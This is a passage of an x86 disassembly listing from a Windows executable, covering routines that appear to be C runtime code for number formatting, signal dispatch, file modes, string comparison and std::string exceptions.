eax, [ebp+var_10] push eax call sub_4253AE dec esi pop ecx jnz short loc_425B37 loc_425B44: ; CODE XREF: sub_425973+1B8j ; sub_425973+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_425BA1 mov [ebp+arg_C], ecx loc_425B54: ; CODE XREF: sub_425973+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_425380 lea eax, [ebp+var_10] push eax call sub_425380 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425322 lea eax, [ebp+var_10] push eax call sub_425380 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_425B54 mov eax, [ebp+arg_14] loc_425BA1: ; CODE XREF: sub_425973+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425BDE loc_425BAE: ; CODE XREF: sub_425973+248j cmp eax, ecx jb short loc_425BC1 cmp byte ptr [eax], 39h jnz short loc_425BBD mov byte ptr [eax], 30h dec eax jmp short loc_425BAE ; --------------------------------------------------------------------------- loc_425BBD: ; CODE XREF: sub_425973+242j cmp eax, ecx jnb short loc_425BC5 loc_425BC1: ; CODE XREF: sub_425973+23Dj inc eax inc word ptr [ebx] loc_425BC5: ; CODE XREF: sub_425973+24Cj inc byte ptr [eax] loc_425BC7: ; CODE XREF: sub_425973+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425BD6: ; CODE XREF: sub_425973+F0j mov eax, [ebp+var_4] loc_425BD9: ; CODE XREF: sub_425973+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425BDE: ; CODE XREF: sub_425973+239j ; sub_425973+275j cmp eax, ecx jb short loc_425BEE cmp byte ptr [eax], 30h jnz short loc_425BEA dec eax jmp short loc_425BDE ; --------------------------------------------------------------------------- loc_425BEA: ; CODE XREF: sub_425973+272j cmp eax, ecx jnb short loc_425BC7 loc_425BEE: ; CODE XREF: sub_425973+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_425BFD: ; CODE XREF: sub_425973+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425BD9 sub_425973 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_425C6D dec eax dec eax jz short loc_425C5E sub eax, 4 jz short loc_425C5E sub eax, 3 jz short loc_425C5E sub eax, 4 jz short loc_425C51 sub eax, 6 jz short loc_425C44 dec eax jz short loc_425C37 or eax, 0FFFFFFFFh jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C37: ; CODE XREF: sub_425C06+27j mov esi, dword_4DC004 mov eax, offset dword_4DC004 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C44: ; CODE XREF: sub_425C06+24j mov esi, dword_4DC000 mov eax, offset dword_4DC000 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C51: ; CODE XREF: sub_425C06+1Fj mov esi, dword_4DC008 mov eax, offset dword_4DC008 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C5E: ; CODE XREF: sub_425C06+10j ; sub_425C06+15j ... push edi call sub_425D33 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C6D: ; CODE XREF: sub_425C06+Cj mov esi, dword_4DBFFC mov eax, offset dword_4DBFFC loc_425C78: ; CODE XREF: sub_425C06+3Cj ; sub_425C06+49j ... cmp esi, 1 jnz short loc_425C84 xor eax, eax jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C84: ; CODE XREF: sub_425C06+75j test esi, esi jnz short loc_425C8F push 3 call sub_41C1A2 loc_425C8F: ; CODE XREF: sub_425C06+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_425CA1 cmp edi, 0Bh jz short loc_425CA1 cmp edi, 4 jnz short loc_425CC7 loc_425CA1: ; CODE XREF: sub_425C06+8Fj ; sub_425C06+94j mov ebx, dword_4DBE9C and dword_4DBE9C, 0 cmp edi, ecx jnz short loc_425CF6 mov edx, dword_43D4CC mov dword_43D4CC, 8Ch mov [ebp+arg_0], edx jmp short loc_425CCA ; --------------------------------------------------------------------------- loc_425CC7: ; CODE XREF: sub_425C06+99j mov ebx, [ebp+arg_0] loc_425CCA: ; CODE XREF: sub_425C06+BFj cmp edi, ecx jnz short loc_425CF6 mov eax, dword_43D4C0 mov ecx, dword_43D4C4 add ecx, eax cmp eax, ecx jge short loc_425CFD lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43D450h[edx*4] loc_425CEB: ; CODE XREF: sub_425C06+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425CEB jmp short loc_425CFD ; --------------------------------------------------------------------------- loc_425CF6: ; CODE XREF: sub_425C06+AAj ; sub_425C06+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425D0B loc_425CFD: ; CODE XREF: sub_425C06+D7j ; sub_425C06+EEj push dword_43D4CC push 8 call esi pop ecx pop ecx jmp short loc_425D19 ; --------------------------------------------------------------------------- loc_425D0B: ; CODE XREF: sub_425C06+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425D19 cmp edi, 4 jnz short loc_425D2C loc_425D19: ; CODE XREF: sub_425C06+103j ; sub_425C06+10Cj cmp edi, 8 mov dword_4DBE9C, ebx jnz short loc_425D2C mov eax, [ebp+arg_0] mov dword_43D4CC, eax loc_425D2C: ; CODE XREF: sub_425C06+111j ; sub_425C06+11Cj xor eax, eax pop ebx loc_425D2F: ; CODE XREF: sub_425C06+2Cj ; sub_425C06+79j pop edi pop esi pop ebp retn sub_425C06 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425D33 proc near ; CODE XREF: sub_425C06+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4C8 cmp dword_43D44C, edx push esi mov eax, offset dword_43D448 jz short loc_425D61 lea esi, [ecx+ecx*2] lea esi, ds:43D448h[esi*4] loc_425D55: ; CODE XREF: sub_425D33+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425D61 cmp [eax+4], edx jnz short loc_425D55 loc_425D61: ; CODE XREF: sub_425D33+16j ; sub_425D33+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D448h[ecx*4] cmp eax, ecx jnb short loc_425D75 cmp [eax+4], edx jz short locret_425D77 loc_425D75: ; CODE XREF: sub_425D33+3Bj xor eax, eax locret_425D77: ; CODE XREF: sub_425D33+40j retn sub_425D33 endp ; =============== S U B R O U T I N E ======================================= sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp ; sub_4251BB+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD140 jnb short loc_425DDF mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425DDF mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425DB8 and cl, 7Fh jmp short loc_425DC5 ; --------------------------------------------------------------------------- loc_425DB8: ; CODE XREF: sub_425D78+39j cmp [esp+4+arg_4], 4000h jnz short loc_425DD3 or cl, 80h loc_425DC5: ; CODE XREF: sub_425D78+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425DD3: ; CODE XREF: sub_425D78+48j mov dword_4DBDDC, 16h jmp short loc_425DE9 ; --------------------------------------------------------------------------- loc_425DDF: ; CODE XREF: sub_425D78+Bj ; sub_425D78+27j mov dword_4DBDDC, 9 loc_425DE9: ; CODE XREF: sub_425D78+65j or eax, 0FFFFFFFFh pop esi retn sub_425D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DEE proc near ; CODE XREF: sub_425973+165p ; sub_42600E+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425FEE cmp cx, 7FFFh jnb loc_425FEE cmp dx, 0BFFDh ja loc_425FEE cmp dx, 3FBFh ja short loc_425E57 xor eax, eax jmp short loc_425E91 ; --------------------------------------------------------------------------- loc_425E57: ; CODE XREF: sub_425DEE+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425E79 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425E79 xor eax, eax cmp [esi+4], eax jnz short loc_425E7B cmp [esi], eax jnz short loc_425E7B jmp loc_425FE8 ; --------------------------------------------------------------------------- loc_425E79: ; CODE XREF: sub_425DEE+71j ; sub_425DEE+79j xor eax, eax loc_425E7B: ; CODE XREF: sub_425DEE+80j ; sub_425DEE+84j cmp cx, ax jnz short loc_425E9E inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425E9E cmp [ebx+4], eax jnz short loc_425E9E cmp [ebx], eax jnz short loc_425E9E loc_425E91: ; CODE XREF: sub_425DEE+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_426009 ; --------------------------------------------------------------------------- loc_425E9E: ; CODE XREF: sub_425DEE+90j ; sub_425DEE+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425EAE: ; CODE XREF: sub_425DEE+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425F02 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425ECA: ; CODE XREF: sub_425DEE+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425EF5 mov eax, [ebp+var_4] inc word ptr [eax] loc_425EF5: ; CODE XREF: sub_425DEE+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425ECA loc_425F02: ; CODE XREF: sub_425DEE+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425EAE add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425F45 loc_425F20: ; CODE XREF: sub_425DEE+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425F3E lea eax, [ebp+var_24] push eax call sub_425380 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425F20 loc_425F3E: ; CODE XREF: sub_425DEE+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425F7E loc_425F45: ; CODE XREF: sub_425DEE+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425F7E movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425F5E: ; CODE XREF: sub_425DEE+184j test byte ptr [ebp+var_24], 1 jz short loc_425F67 inc [ebp+var_14] loc_425F67: ; CODE XREF: sub_425DEE+174j lea eax, [ebp+var_24] push eax call sub_4253AE dec ebx pop ecx jnz short loc_425F5E cmp [ebp+var_14], 0 jz short loc_425F7E or byte ptr [ebp+var_24], 1 loc_425F7E: ; CODE XREF: sub_425DEE+155j ; sub_425DEE+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425F95 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425FCA loc_425F95: ; CODE XREF: sub_425DEE+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425FC7 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425FC2 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425FBC inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FBC: ; CODE XREF: sub_425DEE+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC2: ; CODE XREF: sub_425DEE+1B5j inc [ebp+var_20+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425DEE+1ABj inc [ebp+var_24+2] loc_425FCA: ; CODE XREF: sub_425DEE+1A5j ; sub_425DEE+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425FEE mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425FE8: ; CODE XREF: sub_425DEE+86j mov [esi+0Ah], ax jmp short loc_426009 ; --------------------------------------------------------------------------- loc_425FEE: ; CODE XREF: sub_425DEE+42j ; sub_425DEE+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_426009: ; CODE XREF: sub_425DEE+ABj ; sub_425DEE+1FEj pop edi pop esi pop ebx leave retn sub_425DEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42600E proc near ; CODE XREF: sub_4254A2+440p ; sub_425973+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43D828 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_426087 jge short loc_426036 mov eax, [ebp+arg_4] mov ebx, offset dword_43D988 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_426036: ; CODE XREF: sub_42600E+16j cmp [ebp+arg_8], ecx jnz short loc_426041 mov eax, [ebp+arg_0] mov [eax], cx loc_426041: ; CODE XREF: sub_42600E+2Bj cmp [ebp+arg_4], ecx jz short loc_426087 push esi push edi loc_426048: ; CODE XREF: sub_42600E+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_426080 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_426073 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_426073: ; CODE XREF: sub_42600E+57j push esi push [ebp+arg_0] call sub_425DEE pop ecx pop ecx xor ecx, ecx loc_426080: ; CODE XREF: sub_42600E+49j cmp [ebp+arg_4], ecx jnz short loc_426048 pop edi pop esi loc_426087: ; CODE XREF: sub_42600E+14j ; sub_42600E+36j pop ebx leave retn sub_42600E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426090 proc near ; CODE XREF: sub_426173+19p ; sub_42629A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41B9C0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D9B3 mov eax, esi pop esi retn 8 sub_426090 endp ; =============== S U B R O U T I N E ======================================= sub_4260BA proc near ; CODE XREF: ___:004260E5p ; sub_426168+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_40D977 mov ecx, esi pop esi jmp sub_426564 sub_4260BA endp ; =============== S U B R O U T I N E ======================================= sub_4260D5 proc near ; DATA XREF: ___:00427C94o ; ___:00427CA4o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4260E1 mov eax, offset dword_427688 locret_4260E1: ; CODE XREF: sub_4260D5+5j retn sub_4260D5 endp ; --------------------------------------------------------------------------- loc_4260E2: ; DATA XREF: ___:off_427C90o push esi mov esi, ecx call sub_4260BA test byte ptr [esp+8], 1 jz short loc_4260F8 push esi call sub_41D65F pop ecx loc_4260F8: ; CODE XREF: ___:004260EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4260FE proc near ; CODE XREF: sub_426173+29p mov eax, offset loc_426AE2 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4260FE endp ; =============== S U B R O U T I N E ======================================= sub_42614C proc near ; DATA XREF: ___:off_427CA0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426168 test [esp+4+arg_0], 1 jz short loc_426162 push esi call sub_41D65F pop ecx loc_426162: ; CODE XREF: sub_42614C+Dj mov eax, esi pop esi retn 4 sub_42614C endp ; =============== S U B R O U T I N E ======================================= sub_426168 proc near ; CODE XREF: sub_42614C+3p ; DATA XREF: ___:00428014o mov dword ptr [ecx], offset off_427CA0 jmp sub_4260BA sub_426168 endp ; =============== S U B R O U T I N E ======================================= sub_426173 proc near ; CODE XREF: sub_40D824+13p ; sub_40D9E8+Ep mov eax, offset loc_426AF4 call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4260FE push offset dword_428010 lea eax, [ebp-3Ch] push eax call sub_426587 int 3 ; Trap to Debugger sub_426173 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p ; sub_4261D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D824 mov eax, esi pop esi retn 4 sub_4261B0 endp ; =============== S U B R O U T I N E ======================================= sub_4261D0 proc near ; CODE XREF: sub_42629A+29p mov eax, offset loc_426B06 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4261D0 endp ; =============== S U B R O U T I N E ======================================= sub_426218 proc near ; CODE XREF: sub_426282+7p ; sub_4262DE+7p ... mov eax, offset loc_426B18 call sub_41D640 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42651A and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426218 endp ; =============== S U B R O U T I N E ======================================= sub_42625B proc near ; DATA XREF: ___:off_427CCCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426277 test [esp+4+arg_0], 1 jz short loc_426271 push esi call sub_41D65F pop ecx loc_426271: ; CODE XREF: sub_42625B+Dj mov eax, esi pop esi retn 4 sub_42625B endp ; =============== S U B R O U T I N E ======================================= sub_426277 proc near ; CODE XREF: sub_42625B+3p ; DATA XREF: ___:004280BCo mov dword ptr [ecx], offset off_427CCC jmp sub_4260BA sub_426277 endp ; =============== S U B R O U T I N E ======================================= sub_426282 proc near ; CODE XREF: sub_4262F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi retn 4 sub_426282 endp ; =============== S U B R O U T I N E ======================================= sub_42629A proc near ; CODE XREF: sub_40D774+15p ; sub_40D7CD+15p ... mov eax, offset loc_426B2A call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4261D0 push offset dword_4280B8 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427CCC call sub_426587 int 3 ; Trap to Debugger sub_42629A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262DE proc near ; CODE XREF: sub_4262F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CCC mov eax, esi pop esi retn 4 sub_4262DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4262F6 proc near ; DATA XREF: ___:00427C98o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426218 push offset dword_4280F8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426314: ; DATA XREF: ___:00427CD4o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4262DE push offset dword_4280B8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426332: ; DATA XREF: ___:00427CA8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426282 push offset dword_428010 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger sub_4262F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426350 proc near ; CODE XREF: sub_40D104+5Ep ; ___:00415771p ... nop jmp near ptr 71AB1B7Bh sub_426350 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426356 proc near ; CODE XREF: sub_41D2AC+23p ; sub_41D550+13p nop jmp near ptr 28A0000h sub_426356 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42635C proc near ; CODE XREF: ___:0040B091p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_426371 cmp [ebp+arg_0], 0 jge short loc_426371 push 1 push 0Ah jmp short loc_426376 ; --------------------------------------------------------------------------- loc_426371: ; CODE XREF: sub_42635C+7j ; sub_42635C+Dj push 0 push [ebp+arg_8] loc_426376: ; CODE XREF: sub_42635C+13j push [ebp+arg_4] push [ebp+arg_0] call sub_426389 mov eax, [ebp+arg_4] add esp, 10h pop ebp retn sub_42635C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426389 proc near ; CODE XREF: sub_42635C+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 mov ecx, [ebp+arg_4] push ebx push esi push edi jz short loc_4263A3 mov esi, [ebp+arg_0] mov byte ptr [ecx], 2Dh inc ecx neg esi jmp short loc_4263A6 ; --------------------------------------------------------------------------- loc_4263A3: ; CODE XREF: sub_426389+Dj mov esi, [ebp+arg_0] loc_4263A6: ; CODE XREF: sub_426389+18j mov edi, ecx loc_4263A8: ; CODE XREF: sub_426389+43j mov eax, esi xor edx, edx div [ebp+arg_8] mov eax, esi mov ebx, edx xor edx, edx div [ebp+arg_8] cmp ebx, 9 mov esi, eax jbe short loc_4263C4 add bl, 57h jmp short loc_4263C7 ; --------------------------------------------------------------------------- loc_4263C4: ; CODE XREF: sub_426389+34j add bl, 30h loc_4263C7: ; CODE XREF: sub_426389+39j mov [ecx], bl inc ecx test esi, esi ja short loc_4263A8 and byte ptr [ecx], 0 dec ecx loc_4263D2: ; CODE XREF: sub_426389+55j mov dl, [edi] mov al, [ecx] mov [ecx], dl mov [edi], al dec ecx inc edi cmp edi, ecx jb short loc_4263D2 pop edi pop esi pop ebx pop ebp retn sub_426389 endp ; =============== S U B R O U T I N E ======================================= sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p ; sub_41761C+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DBE84, 0 push ebx jnz short loc_42642B mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_4263F7: ; CODE XREF: sub_4263E5+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426409 cmp bx, 41h jb short loc_426409 add ebx, 20h loc_426409: ; CODE XREF: sub_4263E5+19j ; sub_4263E5+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_42641B cmp ax, 41h jb short loc_42641B add eax, 20h loc_42641B: ; CODE XREF: sub_4263E5+2Bj ; sub_4263E5+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_42645B cmp bx, ax jz short loc_4263F7 jmp short loc_42645B ; --------------------------------------------------------------------------- loc_42642B: ; CODE XREF: sub_4263E5+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_426435: ; CODE XREF: sub_4263E5+72j mov ax, [esi] inc esi push eax inc esi call sub_4265C1 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_4265C1 pop ecx test bx, bx pop ecx jz short loc_426459 cmp bx, ax jz short loc_426435 loc_426459: ; CODE XREF: sub_4263E5+6Dj pop edi pop esi loc_42645B: ; CODE XREF: sub_4263E5+3Dj ; sub_4263E5+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_4263E5 endp ; =============== S U B R O U T I N E ======================================= sub_426465 proc near ; CODE XREF: sub_41843B+21p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648C push esi call sub_41B9C0 inc eax push eax call sub_41BEB5 pop ecx test eax, eax pop ecx jz short loc_42648C push esi push eax call sub_41C890 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648C: ; CODE XREF: sub_426465+7j ; sub_426465+1Aj xor eax, eax pop esi retn sub_426465 endp ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: ___:004264A8p mov dword ptr [ecx], offset off_427CEC mov ecx, [ecx+4] test ecx, ecx jz short locret_4264A4 push ecx call sub_41BA91 pop ecx locret_4264A4: ; CODE XREF: sub_426490+Bj retn sub_426490 endp ; --------------------------------------------------------------------------- loc_4264A5: ; DATA XREF: ___:off_427CECo push esi mov esi, ecx call sub_426490 test byte ptr [esp+8], 1 jz short loc_4264BB push esi call sub_41D65F pop ecx loc_4264BB: ; CODE XREF: ___:004264B2j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_4264C1: ; DATA XREF: ___:off_427CF4o push esi mov esi, ecx call sub_426564 test byte ptr [esp+8], 1 jz short loc_4264D7 push esi call sub_41D65F pop ecx loc_4264D7: ; CODE XREF: ___:004264CEj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp ; sub_4261D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 push dword ptr [edi] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42650C push dword ptr [edi] push eax call sub_41C890 pop ecx pop ecx loc_42650C: ; CODE XREF: sub_4264DD+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_4264DD endp ; =============== S U B R O U T I N E ======================================= sub_42651A proc near ; CODE XREF: sub_426218+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_426557 push dword ptr [edi+4] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42655D push dword ptr [edi+4] push eax call sub_41C890 pop ecx pop ecx jmp short loc_42655D ; --------------------------------------------------------------------------- loc_426557: ; CODE XREF: sub_42651A+16j mov eax, [edi+4] mov [esi+4], eax loc_42655D: ; CODE XREF: sub_42651A+2Ej ; sub_42651A+3Bj mov eax, esi pop edi pop esi retn 4 sub_42651A endp ; =============== S U B R O U T I N E ======================================= sub_426564 proc near ; CODE XREF: 